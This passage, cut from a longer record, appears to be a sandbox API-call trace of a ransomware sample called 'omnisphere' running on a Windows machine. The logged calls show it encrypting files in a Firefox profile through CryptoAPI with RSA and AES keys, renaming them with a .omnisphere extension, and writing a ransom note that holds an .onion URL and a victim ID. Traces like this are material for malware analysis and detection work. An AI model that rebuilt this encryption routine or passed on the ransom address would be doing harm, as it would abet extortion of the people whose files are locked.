pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0161.476] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.476] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0161.476] CloseHandle (hObject=0x288) returned 1 [0161.476] GetProcessHeap () returned 0x1600000 [0161.476] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162bd08 | out: hHeap=0x1600000) returned 1 [0161.476] GetProcessHeap () returned 0x1600000 [0161.476] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0161.476] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d, dwReserved0=0x0, dwReserved1=0xcc, cFileName="times.json", cAlternateFileName="TIMES~1.JSO")) returned 1 [0161.476] GetProcessHeap () returned 0x1600000 [0161.476] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x1749b38 [0161.476] PathCombineW (in: pszDest=0x1749b38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="times.json" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\times.json") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\times.json" [0161.476] StrStrW (lpFirst=".omnisphere", lpSrch=".json") returned 0x0 [0161.476] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\times.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\times.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.477] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=29) returned 1 [0161.477] GetTickCount () returned 0x11681ba [0161.477] GetTickCount () returned 0x11681ba [0161.477] GetTickCount () returned 0x11681ba [0161.477] GetTickCount () returned 0x11681ba [0161.477] GetTickCount () returned 0x11681ba [0161.477] GetTickCount () returned 0x11681ba [0161.477] GetTickCount () returned 0x11681ba [0161.477] GetTickCount () returned 0x11681ba [0161.477] GetTickCount () returned 0x11681ba [0161.477] GetTickCount () returned 0x11681ba [0161.477] GetTickCount () returned 0x11681ba [0161.477] GetTickCount () returned 0x11681ba [0161.477] GetTickCount () returned 0x11681ba [0161.477] GetTickCount () returned 0x11681ba [0161.477] GetTickCount () returned 0x11681ba [0161.477] GetTickCount () returned 0x11681ba [0161.477] GetTickCount () returned 0x11681ba [0161.477] GetTickCount () returned 0x11681ba [0161.478] GetTickCount () returned 0x11681ba [0161.478] GetTickCount () returned 0x11681ba [0161.478] GetTickCount () returned 0x11681ba [0161.478] GetTickCount () returned 0x11681ba [0161.478] GetTickCount () returned 0x11681ba [0161.478] GetTickCount () returned 0x11681ba [0161.478] GetTickCount () returned 0x11681ba [0161.478] GetTickCount () returned 0x11681ba [0161.478] GetTickCount () returned 0x11681ba [0161.478] GetTickCount () returned 0x11681ba [0161.478] GetTickCount () returned 0x11681ba [0161.478] GetTickCount () returned 0x11681ba [0161.478] GetTickCount () returned 0x11681ba [0161.478] GetTickCount () returned 0x11681ba [0161.478] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16683d8) returned 1 [0161.479] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639628) returned 1 [0161.479] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0161.479] CryptDestroyKey (hKey=0x1639628) returned 1 [0161.479] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0161.479] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d, lpName=0x0) returned 0x3c0 [0161.479] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d) returned 0x1480000 [0161.480] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16688a0) returned 1 [0161.480] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639868) returned 1 [0161.480] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0161.480] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0161.480] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.480] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.480] CryptDestroyKey (hKey=0x1639868) returned 1 [0161.480] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0161.480] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x1d, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0161.481] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0161.482] GetProcessHeap () returned 0x1600000 [0161.482] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c8) returned 0x1727bd8 [0161.482] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\times.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\times.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\times.json.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\times.json.omnisphere")) returned 1 [0161.483] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\times.json.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\times.json.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\times.json.omnisphere.id" [0161.483] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\times.json.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\times.json.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.483] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0161.484] CloseHandle (hObject=0x388) returned 1 [0161.484] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0161.484] CloseHandle (hObject=0x3c0) returned 1 [0161.484] SetEndOfFile (hFile=0x288) returned 1 [0161.484] FlushFileBuffers (hFile=0x288) returned 1 [0161.487] CloseHandle (hObject=0x288) returned 1 [0161.487] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\times.json" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0161.487] GetProcessHeap () returned 0x1600000 [0161.488] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x174a9d0 [0161.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0161.488] GetProcessHeap () returned 0x1600000 [0161.488] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733ea0 [0161.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733ea0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0161.488] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0161.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0161.488] GetProcessHeap () returned 0x1600000 [0161.488] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726778 [0161.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726778, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0161.488] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0161.488] GetProcessHeap () returned 0x1600000 [0161.488] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x172cfc8 [0161.488] PathCombineW (in: pszDest=0x172cfc8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0161.488] GetProcessHeap () returned 0x1600000 [0161.488] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1735d30 [0161.488] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.488] WriteFile (in: hFile=0x288, lpBuffer=0x1735d30*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1735d30*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0161.489] CloseHandle (hObject=0x288) returned 1 [0161.489] GetProcessHeap () returned 0x1600000 [0161.489] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174a9d0 | out: hHeap=0x1600000) returned 1 [0161.489] GetProcessHeap () returned 0x1600000 [0161.489] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c118 [0161.489] PathCombineW (in: pszDest=0x162c118, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0161.489] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.489] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0161.489] CloseHandle (hObject=0x288) returned 1 [0161.489] GetProcessHeap () returned 0x1600000 [0161.489] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c118 | out: hHeap=0x1600000) returned 1 [0161.489] GetProcessHeap () returned 0x1600000 [0161.489] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1749b38 | out: hHeap=0x1600000) returned 1 [0161.490] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd0aef8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3dd0aef8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x414596ce, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0161.490] GetProcessHeap () returned 0x1600000 [0161.490] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c6c8 [0161.490] PathCombineW (in: pszDest=0x162c6c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0161.490] StrStrW (lpFirst=".omnisphere", lpSrch=".key") returned 0x0 [0161.490] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.490] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=1440) returned 1 [0161.490] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x7c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0161.490] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0161.490] GetTickCount () returned 0x11681ca [0161.490] GetTickCount () returned 0x11681ca [0161.490] GetTickCount () returned 0x11681ca [0161.490] GetTickCount () returned 0x11681ca [0161.490] GetTickCount () returned 0x11681ca [0161.490] GetTickCount () returned 0x11681ca [0161.490] GetTickCount () returned 0x11681ca [0161.490] GetTickCount () returned 0x11681ca [0161.490] GetTickCount () returned 0x11681ca [0161.490] GetTickCount () returned 0x11681ca [0161.490] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] GetTickCount () returned 0x11681ca [0161.491] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668240) returned 1 [0161.492] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x16397a8) returned 1 [0161.492] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0161.492] CryptDestroyKey (hKey=0x16397a8) returned 1 [0161.492] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0161.492] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a0, lpName=0x0) returned 0x3c0 [0161.492] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a0) returned 0x1480000 [0161.492] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668f88) returned 1 [0161.493] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b28) returned 1 [0161.493] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0161.493] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0161.493] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.493] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.493] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.493] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.493] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.493] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.493] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.493] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.493] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.493] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.493] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.493] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: 